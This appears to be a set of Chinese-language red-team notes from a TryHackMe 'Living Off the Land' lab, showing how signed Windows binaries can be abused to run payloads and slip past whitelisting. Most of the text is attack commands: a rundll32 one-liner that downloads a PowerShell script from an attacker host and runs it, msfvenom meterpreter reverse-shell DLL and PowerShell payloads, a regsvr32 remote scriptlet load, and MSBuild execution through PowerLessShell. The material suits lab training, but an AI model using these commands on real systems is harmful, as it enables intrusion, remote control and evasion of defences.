文件资源管理器是 Windows 的文件管理器和系统组件,但是居然可以滥用滥用 explorer.exe 工具从受信任的父进程启动恶意脚本或可执行文件。
执行以下命令:
explorer.exe /root,"C:\Windows\System32\calc.exe"
Windows Management Instrumentation (WMIC) 是一个管理 Windows 组件的 Windows 命令行实用程序。
运行以下命令:
创建一个新的进程来运行calc.exe
wmic.exe process call create calc
Rundll32 是 Microsoft内置工具,可在操作系统中加载和运行动态链接库DLL文件。红队可以滥用和利用 rundll32.exe来运行任意负载并执行 JavaScript 和PowerShell脚本。
rundll32.exe二进制文件 位于:
执行文件:
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://AttackBox_IP/script.ps1');");
不过现在该技术似乎过时了
利用 msfvenom生成一个恶意的dll文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.9.91.80 LPORT=4444 -f dll -a x86 > live0fftheland.dll
如下所示:
regsvr32.exe c:\Users\thm\Downloads\a.dll
or
regsvr32.exe /s /n /u /i:http://example.com/file.sct Downloads\a.dll
使用第二个选项(这是一个更高级的命令),我们指示 regsvr32.exe 运行 :
如果我们想要创建 64 位 DLL 版本,注意在以下路径运行
C:\Windows\SysWOW64\regsvr32.exe的 64 位版本的regsvr32.exe
2016 年,微软在 Windows 10,11 和 Server 2019 上添加了对Linux环境的支持。此功能称为 Windows Subsystem for Linux ( WSL ),存在两个 WSL 版本:WSL1 和 WSL2。WSL 是一个在操作系统上运行的Hyper-V 虚拟化Linux发行版,支持 Linux 内核和系统调用的子集。此功能是一个插件,用户可以安装该插件并与 Linux 发行版交互。作为 WSL 的一部分, bash.exe是一个用于与Linux环境交互的 Microsoft 工具。
人们找到了执行有效负载并绕过 Windows 应用程序白名单的方法,因为它是 Microsoft 签名的二进制文件。通过执行以下命令:
bash.exe -c "path-to-payload"
我们可以执行任何未签名的有效负载。
注意:需要在 Windows 10 中启用并安装适用于Linux 的Windows 子系统才能使用 bash.exe二进制文件。
快捷方式或符号链接是一种用于引用操作系统内其他文件或应用程序的技术。一旦用户单击快捷方式文件,就会执行参考文件或应用程序。
要使用快捷方式修改技术,我们可以使用以下命令设置目标部分来执行文件:
2019 年,Red Canary 发布了一份威胁检测报告,指出PowerShell是恶意活动最常用的技术。因此,组织开始监视或阻止 powershell.exe的执行。因此,攻击者会找到其他方法来运行PowerShell代码而不生成它。
PowerLessShell 是一个基于 Python 的工具,可生成恶意代码并在目标计算机上运行,而不显示PowerShell进程的实例。下载地址:
https://github.com/Mr-Un1k0d3r/PowerLessShell
使用 msfvenom生成PowerShell 有效负载:
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=AttackBox_IP LPORT=4444 -f psh-reflection > a.ps1
运行 PowerLessShell 工具并将源文件设置为我们使用 msfvenom 创建的文件并且生成a.csproj文件:
python PowerLessShell.py -type powershell -source a.ps1 -output a.csproj
c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe a.csproj
https://tryhackme.com/jr/introtoav
https://tryhackme.com/jr/obfuscationprinciples
https://tryhackme.com/jr/signatureevasion
https://tryhackme.com/jr/bypassinguac
https://tryhackme.com/jr/runtimedetectionevasion
https://tryhackme.com/jr/monitoringevasion
https://tryhackme.com/room/livingofftheland